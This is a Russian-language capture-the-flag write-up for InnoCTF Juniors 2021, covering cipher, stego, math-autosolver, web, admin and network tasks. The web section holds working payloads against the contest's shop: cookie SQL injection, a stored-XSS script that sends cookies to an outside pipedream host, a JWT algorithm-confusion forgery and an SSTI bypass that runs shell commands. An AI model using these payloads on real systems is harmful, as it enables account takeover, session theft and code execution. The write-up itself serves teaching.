# InnoCTF Juniors 2021 Write-ups
[TOC]
## Crypto
### Crypto License (10)
**Мы модифицировали и зашифровали текст одной популярной лицензии неким популярным шифром. Вам необходимо разгадать шифр, найти измененную часть, внимательно с ней ознакомиться, и составить флаг.**
Это был шифр Цезаря со сдвигом 20.
Отправляем наш шифротекст в дешифратор, например https://cryptii.com/pipes/caesar-cipher

Далее было два варианта: поискать текст по ключевым словам, например, Capture the Flag, или найти различия оригинальной лицензии GNU GPL и данного текста. Флаг собирается только по заглавным буквам.
### Секретное задание (20)
**В лапы наших оперативников попал этот шифротекст. Эти балбесы даже не понимают, что здесь написано. Может, тебе удастся разобраться и найти ключ? Только дело до ключа нам нет, нам нужно понять, о какой организации в тексте идет речь. Она там часто упоминается. Не перепутай, ключ не вижен, важна само
название организации**
В описании задачи намерена допущена ошибка в слове "вижен", это отсылка к шифру Виженера.
Текст большой, можно провести его анализ и восстановить ключ с помощью CrypTool или онлайн утилит ( https://www.guballa.de/vigenere-solver или
https://cryptii.com/pipes/vigenere-cipher)

ключ был **security**, а речь шла о компании Wikileaks, этот текст с ее официального сайта.
### Шифровальщик (30)
**Сегодня мы должны были получить инструкции для начала работы над нашим проектом. Но, к сожалению, сама инструкция была перехвачена злоумышленниками и зашифрована. Они просят перевести им пару биткоинов, а в качестве подтверждения честности сделки прислали код своего шифровальщика. Как по мне, банальщина, и шифр перестановки. Тебе такое по зубам? Даем код программы-вредоноса и сам шифротекст. Ждем от тебя мануала по этой утилите, ее название и будет ответом и разгадкой**
Перед нами кастомный шифр перестановки. По задумке, он берет каждый i-й элемент (массив ключей задан) и меняет его местами с элементом, смещенного на следующий шаг, если он не выходит за границу массива. На основе кода, который нам дан, пишем дешифратор
```python
data = "ih uelaguyptoa sUeNstihn Ur efGifaoer n.o cnirfGonNs tdcdtsrehe eoeehi avt rteho gietdrp siatrtavgcy tnnet un-rgoosb an eiav eenl rntigetsriicx oleep f oh ctnme,gfi snurtaohd pceget Oe outo nrelrsfe (eRcsndeT SuctPioOe e oA EtiRt,dto)l naceh is noh mswe ekdt el(shisfn)tir nd atlorfefasrnw ooefr,aopu itto, i etoco epra hm hpi tienavsd oifnn eiot nshn ntelxe me nffts. man-I iuo,t ri e o gi fietcds mpidi.ssdcv`a'sa nTmsdeh."
steps = [7,11,5,19,2,26,12,3,11,40,4,18,9,17,32]
data = list(data)
for i in steps[::-1]:
for j in range(len(data)-1, 0, -1):
if j % i == 0:
if j - i >= 0:
[data[j], data[j-i]] = [data[j-i], data[j]]
else:
continue
print(''.join(data))
```
### Шифровальщик наносит ответный удар (40)
**В прошлый раз нам удалось спасти сотрудников от безделья и восстановить таки мануал! В этот раз злоумышленники "зашифровали" наш файл с важным кодом-паролем. Они издеваются, поэтому снова выложили код своего якобы шифратора, а также файл в формате hex-строки. Восстанови перемешанный hex, сделай из него файл и достань таки код-пароль! Наша фирма не хочет платить кучу денег таким мелким воришкам!**
`11a06ca9064be482cd8b58202e6e3cc00027fb9d1c307026000e03877cc0fcf4840081d32e64000440db`
Здесь тоже шифр перестановок, но он вырезает куски текста по определенной позиции, и вставляет в конец строки. Похоже на перемешивание карточной колоды, когда она разделяется на две части, одна из которых уходит в конец колоды. Нам заранее известна длина текста и подстроки, которые были отправлены в конец строки, поэтому нужно проделать обратную операцию "восстановления". Для этого предварительно создадим массив _back_positions_ на основе шифра. А далее, в обратном порядке пройдемся и отменим наши перестановки. Пишем дешифратор
```python
data = "11a06ca9064be482cd8b58202e6e3cc00027fb9d1c307026000e03877cc0fcf4840081d32e64000440db"
steps = [3,11,2,13,6,4,9,5,10,8,25,11,7,3,19,4,18,40,23]
data = list(data)
prev = 0
back_positions = []
for i in steps:
for j in range(len(data)):
if j % i == 0 and j - prev >= 0:
back_positions.append([j, i, prev])
prev = i
for p in back_positions[::-1]:
[j, i, prev] = p
last = len(data) - prev
if prev == 0: continue
data = data[:j-prev] + data[-prev:] + data[j-prev:last]
print(''.join(data))
```
### Whitebox (45)
**Наш отдел набирает новых стажеров-аналитиков. Для начала тебе придется проявить свои навыки и разобраться, как декодировать файл при условии, что исходный код шифровальщика мы предоставим. Удачи!**
Смотрим исходный код, понимаем что вся задача сводится к нахождению ключа xor'a. Так как исходный алфавит достаточно не большой, все что нам остается - написать брут ключа и считывать первые N байт файла для определение его заголовка (файл png - первые 8 байт 137 80 78 71 13 10 26 10).
### Graybox (50)
**Наши аналитики работают с шифровальщиком. Уже известно, что это бинарный файл, он выполняет некоторые побитовые операции над текстом, а на выходе выплевывает всё как есть, то есть ascii-текст, включая непечатаемые символы. Для того, чтобы узнать ключ, придется потратить немало времени. В приложении мы даем функцию генерации этого самого ключа, которую нам удалось заполучить методом реверс-инженерии, а также зашифрованный текст, который является разгадкой к задаче. Сам бинарный файл мы не даем, так как еще не закончили анализировать его . Узнай ключ и восстанови оригинальный текст.**
`seed=40`
Компилируем код, данный в условии задачи, и запускаем функцию prng со вторым аргументом 40 (seed). Получаем ключ **PMTLNAWEVXKHOGIURYQSFCJBDPMTLNAWEVXKHOGI**. Побитовых операций с обратным действием не так уж и много, это XOR. Берем исходный файл с шифротекстом, и посимвольно xor'им с ключом. Код шифратора (и дешифратора одновременно) на С
```c=
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
const char * prng(char *str, int seed) {
size_t size = 40;
for (size_t n = 0; n < size; n++) {
int key = seed % 25;
str[n] = (char)(65+key);
seed = (seed * 5 + (seed - 9) + 6) % 300;
}
return str;
}
int main() {
char *s = malloc(40);
const char *t = prng(s, 40);
printf("%s", t);
char buf[BUFSIZ];
fgets(buf, sizeof buf, stdin);
char output [strlen(buf) -1];
if (buf[strlen(buf)-1] == '\n') {
for (int i = 0; i < strlen(buf) -1; i++) {
output[i] = buf[i] ^ t[i % 40];
}
printf("%s", output);
printf("\r\n");
}
return 0;
}
```
`cat cipher | ./a.out`
и видим исходный текст с флагом
### Blackbox (60)
**Злоумышленники выпустили вторую версию шифровальщика, при этом никаких выходных данных для текущего шифра мы не нашли (возможно, он еще не начал вести активность в сети). Есть только голый бинарь, твой ввод и вывод байт в шестнадцатиричной форме. Давай для начала найдем ключ шифрования, а дальше решим, что с ним делать. Пожалуй, можно ограничиться заглавными буквами**
Шифр, как и в предыдущем задании - **xor**. Здесь есть два пути. Посимвольно перебирать ключ (a xor a = 0), так как буквы только заглавные, то таких вариантов может быть 26 (размер алфавита). Длина ключа была 50 (это можно понять по повторяющимся паттернам). Пример брутилки на bash
```bash=
#!/bin/bash
key=""
for i in {1..51}
do
for x in {A..Z}
do
result=$(echo $key$x | ./bin | tail -c 4 | cut -c1-2)
if [ "$result" = "00" ]; then
key="${key}${x}"
break
fi
done
done
echo $key
```
Альтернативный вариант, предложенный участниками. Вариант через дебаггер, так как ключ заранее генерируется перед шифрованием, и лежит в памяти в открытом виде

Использовали этот скрипт для дампа https://davidebove.com/blog/2021/03/27/how-to-dump-process-memory-in-linux/ (одна из первых ссылок в ddg)
Остальное `gdb / xxd / vim -d`
## Stegano
### Черным по белому (10)
**Прочитайте внимательно отрывок из "Бесприданницы" Островского. Нам кажется, автор скрыл какой-то смысл в данном отрывке**
При выделении текста видим, что есть подозрительно большое количество пробелов на одной строке. Это белый текст на белом фоне.

Вставляем выделение в любой блокнот и видим флаг
### Зарисовка (15)
**Мы нашли это изображение у злоумышленников, они точно здесь что-то спрятали**
Флаг был спрятан в явном виде на одной из башен

### Кто это сделал? (30)
**Мы нашли фото этого самозванца! Ваша задача - найти компанию, к которой этот наглец имеет прямое отношение! Именно на его сайте и хранится важная информация, но дальше мы сами разберемся. Найди имя директора этой компании и ее название (это будет ответ) по информации с изображения**

Заливаем картинку в любой анализатор метаданных (http://metapicz.com/), нас интересуют два параметра - это Copyright и CreatedDate. Ищем информацию по имени и найденной дате, получаем ответ в первых результатах поиска

### Документ (40)
**Как и во всех предыдущих заданиях категории stegano, вам нужно в очередной раз найти скрытый флаг**
Флаг здесь спрятан в текстовом виде за картинкой. Выделяем и копируем в любой текстовый редактор

### Документ (1) (50)
**И снова документ на изучение, и снова скрытая информация**
Здесь флаг спрятан на картинке, которая, в свою очередь, перекрывается видимой нами картинкой. Можно экспортировать все изображения из pdf (один из таких сервисов - https://pdfcandy.com/extract-images.html)
На выходе получаем 2 изображения, на одном из которых флаг
## PPC
### Снова в школу ч.1 (10)
**Решай задачи в удаленном терминале, 50 раундов и флаг твой**
`Найдите длину отрезка по точкам: x1;y1;x2;y2. Ответ округляется до двух знаков по правилам округления`
Для расчета нам необходима формула длины отрезка по точкам.

Пример автосолвера ниже:
```python=
import math
from time import sleep
import socket
sock = socket.socket()
sock.connect(("127.0.0.1", 9001))
data = ""
while True:
sleep(1)
data = sock.recv(1024).decode('utf-8')
if 'CTF' in data:
print(data)
break
points = data.split('\n')[-2].split(';')
result = round(math.hypot(int(points[2]) - int(points[0]), int(points[3]) - int(points[1])), 2)
sock.send((str(result) + '\r\n').encode())
sock.close()
exit()
```
### Снова в школу ч.2 (20)
**Решай задачи в удаленном терминале, 50 раундов и флаг твой**
`Даны координаты центра окружности и ее радиус. В ответ пришлите количество пересечений этой окружности с осью Ox и Oy. От 0 до 4`
Для решения нам потребуется формула пересечения окружности и прямой. В данном случае с двумя прямыми (ось x и ось y).
Пример кода автосолвера:
```python
import math
from time import sleep
import socket
sock = socket.socket()
sock.connect(("127.0.0.1", 9002))
data = ""
def circle_line_segment_intersection(circle_center, circle_radius, pt1, pt2, full_line=True, tangent_tol=1e-9):
""" Find the points at which a circle intersects a line-segment. This can happen at 0, 1, or 2 points.
:param circle_center: The (x, y) location of the circle center
:param circle_radius: The radius of the circle
:param pt1: The (x, y) location of the first point of the segment
:param pt2: The (x, y) location of the second point of the segment
:param full_line: True to find intersections along full line - not just in the segment. False will just return intersections within the segment.
:param tangent_tol: Numerical tolerance at which we decide the intersections are close enough to consider it a tangent
:return Sequence[Tuple[float, float]]: A list of length 0, 1, or 2, where each element is a point at which the circle intercepts a line segment.
Note: We follow: http://mathworld.wolfram.com/Circle-LineIntersection.html
"""
(p1x, p1y), (p2x, p2y), (cx, cy) = pt1, pt2, circle_center
(x1, y1), (x2, y2) = (p1x - cx, p1y - cy), (p2x - cx, p2y - cy)
dx, dy = (x2 - x1), (y2 - y1)
dr = (dx ** 2 + dy ** 2)**.5
big_d = x1 * y2 - x2 * y1
discriminant = circle_radius ** 2 * dr ** 2 - big_d ** 2
if discriminant < 0: # No intersection between circle and line
return []
else: # There may be 0, 1, or 2 intersections with the segment
intersections = [
(cx + (big_d * dy + sign * (-1 if dy < 0 else 1) * dx * discriminant**.5) / dr ** 2,
cy + (-big_d * dx + sign * abs(dy) * discriminant**.5) / dr ** 2)
for sign in ((1, -1) if dy < 0 else (-1, 1))] # This makes sure the order along the segment is correct
if not full_line: # If only considering the segment, filter out intersections that do not fall within the segment
fraction_along_segment = [(xi - p1x) / dx if abs(dx) > abs(dy) else (yi - p1y) / dy for xi, yi in intersections]
intersections = [pt for pt, frac in zip(intersections, fraction_along_segment) if 0 <= frac <= 1]
if len(intersections) == 2 and abs(discriminant) <= tangent_tol: # If line is tangent to circle, return just one point (as both intersections have same location)
return [intersections[0]]
else:
return intersections
while True:
sleep(1)
data = sock.recv(1024).decode('utf-8')
if 'CTF' in data:
print(data)
break
points = [int(x) for x in data.split('\n')[-2].split(';')]
result = len(circle_line_segment_intersection((points[0], points[1]), points[2], (-1000, 0), (1000, 0))) + \
len(circle_line_segment_intersection((points[0], points[1]), points[2], (0, -1000), (0, 1000)))
sock.send((str(result) + '\r\n').encode())
sock.close()
exit()
```
### Prime Game v.1 (25)
**Помнишь какие числа называют простыми? Ну вот тут тоже все просто - тебе на вход число, а ты говоришь простое оно или нет.**
Простая задача на поиск простых чисел, пример решения
```python
from time import sleep
import socket
from sympy import isprime
sock = socket.socket()
sock.connect(("127.0.0.1", 5550))
data = ""
while True:
sleep(1)
data = sock.recv(1024).decode('utf-8')
if 'CTF' in data:
print(data)
break
answer = isprime(int(data))
if answer:
sock.send('y'.encode())
else:
sock.send('n'.encode())
sock.close()
exit()
```
### Снова в школу ч.3 (30)
**Решай задачи в удаленном терминале, 50 раундов и флаг твой**
```
Даны длины трех сторон треугольника в формате l1;l2;l3.
l1 - между вершинами A и B, l2 - между B и C, l3 - между C и A. Найти все три угла вершин A,B,C.
Ответы округляются до двух знаков по правилам округления. 13.85;16.9;149.25
Пример: Дано 71.81;88.55;99.62. Ответ: 59.6;76.01;44.38
```
угол между двух сторон треугольника считается по этой формуле

Пример автосолвера (функция расчета - angle):
```python
from math import acos, degrees, hypot
from time import sleep
import socket
sock = socket.socket()
sock.connect(("127.0.0.1", 9003))
data = ""
def angle(sideA, sideB, sideC): #
return degrees(acos((sideA**2 + sideB**2 - sideC**2)/(2.0 * sideA * sideB)))
while True:
sleep(1)
data = sock.recv(1024).decode('utf-8')
if 'CTF' in data:
print(data)
break
l1, l2, l3 = [float(x) for x in data.split('\n')[-2].split(';')]
A = round(angle(l3, l1, l2), 2)
B = round(angle(l1, l2, l3), 2)
C = round(angle(l2, l3, l1), 2)
sock.send((f'{A};{B};{C}\r\n').encode())
sock.close()
exit()
```
### Prime Game v2 (35)
***2, 3, 5, 7, 11, 13... А что если надо найти 1337 по счету простое число? Слабо? P.S. кстати ответ 11027**
И снова задача на поиск простых чисел. Можно простроить все числа в диапазоне 1,99999999, а можно воспользоваться следующим кодом:
```python
from time import sleep
import socket
from primesieve import nth_prime
sock = socket.socket()
sock.connect(("127.0.0.1", 5550))
data = ""
while True:
sleep(1)
data = sock.recv(1024).decode('utf-8')
if 'CTF' in data:
print(data)
break
answer = str(nth_prime(int(data))).encode
sock.send(answer)
sock.close()
exit()
```
### Снова в школу ч.4 (40)
**Решай задачи в удаленном терминале, 50 раундов и флаг твой**
```
Даны шесть точек на плоскости, являющиеся вершинами треугольника. В формате x1;y1;x2;y2;x3;y3
Найти все три угла вершин A,B,C, где l1 - между вершинами A и B, l2 - между B и C, l3 - между C и A.
x1;y1 - координаты точки A, x2;y2 - координаты точки B, x3;y3 - координаты точки C
Ответы округляются до двух знаков по правилам округления. 13.85;16.9;149.25
Пример: Дано -97;60;-57;1;18;71. Ответ: 61.3;81.11;37.56
```
Совмещаем формулу нахождения длины отрезка по координатам из задачи №1 и формулу нахождения угла из задачи №3.
Получается следующий код:
```python=
from math import acos, degrees, hypot
from time import sleep
import socket
sock = socket.socket()
sock.connect(("127.0.0.1", 9004))
data = ""
def angle(sideA, sideB, sideC): #
return degrees(acos((sideA**2 + sideB**2 - sideC**2)/(2.0 * sideA * sideB)))
while True:
sleep(1)
data = sock.recv(1024).decode('utf-8')
if 'CTF' in data:
print(data)
break
points = [int(x) for x in data.split('\n')[-2].split(';')]
[l1, l2, l3] = [hypot(points[2] - points[0], points[3] - points[1]),
hypot(points[4] - points[2], points[5] - points[3]),
hypot(points[0] - points[4], points[1] - points[5])
]
A = round(angle(l3, l1, l2), 2)
B = round(angle(l1, l2, l3), 2)
C = round(angle(l2, l3, l1), 2)
sock.send((f'{A};{B};{C}\r\n').encode())
sock.close()
exit()
```
### MEME not MIME (50)
**Разберись с типами файлов за 50 раундов и забирай флаг!**
```
Найдите расширение файла по magic bytes (offset,bytes) или mime-type, которые мы вам присылаем. В ответ ждем расширение файла без точки
Пример: Входные данные: 0001000000, выходные данные: ttf
Примеры типов мы берем отсюда: https://www.garykessler.net/library/file_sigs.html, https://github.com/nginx/nginx/blob/master/conf/mime.types и https://gist.github.com/Qti3e/6341245314bf3513abb080677cd1c93b
```
Используем json-файл для поиска информации. Проверяем вхождение строки в полях mime и signs. Отправляем найденное расширение в ответ. Пример кода:
```python
from time import sleep
import socket
import json
sock = socket.socket()
sock.connect(("127.0.0.1", 9005))
data = ""
f = open('./extensions.json', 'r')
extensions = json.load(f)
f.close()
check = dict()
for i in list(extensions.items()):
i[1]['signs'].append(i[1]['mime'])
check[i[0]] = i[1]['signs']
while True:
sleep(1)
data = sock.recv(1024).decode('utf-8')
if 'CTF' in data:
print(data)
break
info = data.split('\n')[-2].strip()
l = next(x[0] for x in list(check.items()) if info in x[1])
sock.send((f'{l}\r\n').encode())
sock.close()
exit()
```
## Web
### Накодили (10)
**Добро пожаловать в наш магазин! Мы спешили, очень спешили, и сделали для вас годный (ну почти) продукт! Вскоре мы планируем открывать BugBounty, но сначала пробежимся по коду и удалим лишний мусор с сайта....**
Флаги были вшиты в код и лежали в трех местах:
1. HTML страница
2. Файл robots.txt
3. Файл стилей (css)
Все части были подписаны для удобства склеивания
### Секретный предмет (20)
**Во время запуска интернет магазина "На диване" админ тестировал добавление предметов. Может, он не всё почистил, и удастся урвать эксклюзив за бесценок? поищи такой уникальный предмет**
Таким предметом был тестовый придмет с id = 0. У него была низкая стоимость, чтобы можно было купить без труда. При этом, в общем списке предметов он не отображался.

Покупаем и получаем флаг
### Мам, купи! (30)
**А ты уже купил самый дорогой предмет в нашем магазине? Нет?**
Ошибка в логике. Необходимо было отправить POST-запрос с отрицательным количеством товара (-1 и меньше), тогда деньги не списывались со счета, а наоборот, зачислялись. Как только баланс был достаточно большой, можно было покупать флаг.
Пример пополнения баланса
```bash=
curl --location --request POST 'https://webshop.hackforces.com/items/3' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: token=8f14e45fceea167a5a36dedd4bea2543' \
--data-urlencode 'amount=-1'
```
Никаких флагов не получим, но увеличим свой баланс. Теперь делаем такой же запрос, только с положительным количеством
```bash=
curl --location --request POST 'https://webshop.hackforces.com/items/3' \
--header 'Content-Type: application/x-www-form-urlencoded' \
--header 'Cookie: token=8f14e45fceea167a5a36dedd4bea2543' \
--data-urlencode 'amount=1'
```
### Sudo в магазине (40)
**Конечно, я утрирую. Поздравляю с покупкой скрытого предмета, кстати. А что если не только предмет скрытый, может еще и какой-нибудь суперпользователь есть с админскими правами? ну чтобы с админкой и всё такое**
Токены авторизации являются хэшем md5. Возьмем для примера строку, выданную сервером: `8f14e45fceea167a5a36dedd4bea2543`
проверим ее и попытаемся найти исходник для хэша

это цифра 7. Если проводить анализ дальше, то можно понять, что хэши выдаются по порядку от 1 до N. Возьмем хэш от 0 и попробуем с ним зайти в админку.
```
curl --location --request GET 'https://webshop.hackforces.com/admin' \
--header 'Cookie: token=cfcd208495d565ef66e7dff9f98764da'
```
забираем флаг
### Админ в ярости! (50)
**Ты взбесил своими манипуляциями админа магазина! Теперь он каждую минуту заходит и проверяет, чтобы ничего не упало, все страницы открывались, а левые товары не спамились в магазине! Упс, пожалуй я слил инфу, как можно его еще больше взбесить. А что, если создавать свои товары, и подсовывать туда свой код? Вдруг что-нибудь удастся урвать у админа? Или может быть, самому сначала стать админом?**
Это комбинация SQL инъекции в Cookie и stored XSS. Чтобы стать администратором системы и получить возможность добавлять предметы, нужно изменить переменную token в Cookies на такую:

Отправляем запрос
```
curl --location --request GET 'https://webshop.hackforces.com/admin' \
--header 'Cookie: token=70efdf2ec9b086079795c442636b55fb'\''%3B update users SET admin=true %2D%2D'
```
и далее получаем возможность добавлять предметы:

Опытным путем определяем, что XSS в имени предмета




Вставляем свой код для кражи сессии других клиентов (в частности админа сайта), который каждые 90 секунд проверял данную страницу. Флаг админа был в cookies с названием secret
```htmlmixed=
<script>var i=new Image;i.src="https://enpsh8prphhcicn.m.pipedream.net?"+document.cookie;</script>
```
Пример украденных данных у админа

### Time to Change (55)
**Кажется, мы нашли тайную страничку админа и даже его стандартные креды superuser:superpass подходят. Но почему же наш админ - не админ..?**
Задача на JWT токен. Находим токен, так же в исходниках страницы видим base64.
Токен имел подпись RSA с использованием открытого ключа. Используя следующий код, можно было подменить данные в поле is_admin значение False на True (со сменой подписи с RSA на HMAC):
```python
#pyjwt version <= 0.4.2
import jwt
import base64
public_key = base64.b64decode(
'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FERk44dDdhS1UxbmQ2K1RQYkZFWVJmenIzWApnSE1QZGdzdVZ1c3MrL1UwMjNtRW1vajJ4Zy9lamR0V0UwTWJRUUxkT28rOXlqZmRNbWowYy9NbGYrYXF0M1lPCkNkUWtVV0l1GFZUOVVPTnRBUkFtYWNxQzNQT0xBNXgrcEIyc0ZieWNhT2ZQS2xYV3I2RXZVd2V0TW1PaWNuR1YKeGwrMEIwZDhid1d3TldPV0p3SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=')
print(jwt.encode(
{'username': 'superuser', 'is_admin': True},
key=public_key,
algorithm='HS256'
).decode()
)
```
Вторым решением была смена алгоритма подписи на None, что так же позволяло изменить значение и получить флаг.
## Admin's secrets (60)
**Хм, кажется наш админ решил углубится в веб разработку и делает что то интересное.. К сожалению, никакой документации к передаваемым параметрам он не оставил, придется потыкать. Зато мы точно знаем что все интересное он положил в /app/flag.txt Сможете достать?**
Первым делом заходим и не видим ничего интересного. К счастью, в описании есть подсказка про параметры. Быстренько их перебрав, понимаем что интересует нас параметр name, позволяющий менять данные на странице, что отсылает нас к уязвимости SSTI. Пробуем, попадаем на блок. Ищем методы байпасса:
```python
{{()|attr(‘\x5f\x5fclass\x5f\x5f’)|attr(‘\x5f\x5fbase\x5f\x5f’)|attr(‘\x5f\x5fsubclasses\x5f\x5f’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(287)(‘ls’,shell=True,stdout=-1)|attr(‘communicate’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(0)|attr(‘decode’)(‘utf-8’)}}
```
## Admin
### DNS (10)
**Разберись с dns-серверами сайта https://webshop.hackforces.com и найди скрытый флаг (на сайт даже заходить не обязательно)**
Используем инструмент dig для проверки записей в домене. Это TXT запись:

Переходим по найденной ссылке и получаем флаг
### Admin vol1 (10)
**И снова админы решили пошутить. user:HsSRfhc2CJk2EPhh**
После подключения по ssh видим что нам доступно всего несколько команд, из полезных есть ls и cat.
Видим множество папок со вложенными структурами, где то среди них наш флаг
Ищем и читаем:
```bash
ls /*/*/*/*/*/*/*
cat a1/b5/c3/d5/f6/flag.txt
```
### Admin vol2 (15)
**Иногда админам хочется расслабиться и повеселиться, поэтому они делают маленькие сюрпризы коллегам.user:HsSRfhc2CJk2EPhh**
При подключении по ssh мы попадали в консоль vim'a. При попытке выхода - связь обрывалась.
Способ решения:
```bash
:set shell=/bin/sh
:shell
```
### Life in the trash (20)
**Сможешь найти флаг в куче мусора? Не забывай про формат. Да пребудет с тобой grep!**
В файле ASCII-строки одинаковой длины. Можно сделать grep по CTF, но ничего мы не найдем. Строки зареверсены, проверяем по этому параметру:
```
cat t.txt | rev | grep CTF
CTF{+PX{FZSj_{/H@N@}-;o8wfxC]5Fq~L!}
```
## Network
### First challenge (10)
**Забери флаг по адресу**
`ip: 62.84.113.109, port 6000, protocol tcp`
Подключаемся по nc
`nc 62.84.113.109 6000`
### get the flag (20)
**Переписку перехватили, выручай, найди секретную инфу**
В дампе видим, что сначала клиент подключается по http на адрес, получает токен, далее подставляет его в header и получает флаг. При этом во взаимодействии также видно, что есть ограничение действия токена (это 5 секунд).



Повторяем за клиентом:
```bash
curl --location --request GET 'http://62.84.118.87:3000'
```
в поле header подставляем выданный вам токен
```bash
curl --location --request GET 'http://62.84.118.87:3000/getFlag' \
--header 'Authorization: Bearer 392a6158c3d5db6205b19171408e0d6b'
```
### netcat (30)
**Переписку перехватили, выручай, найди секретную инфу**
В дампе только 1 протокол tcp и 2 адреса. То есть, всего 1 стрим. Делаем Follow


Флаг - в base64 строке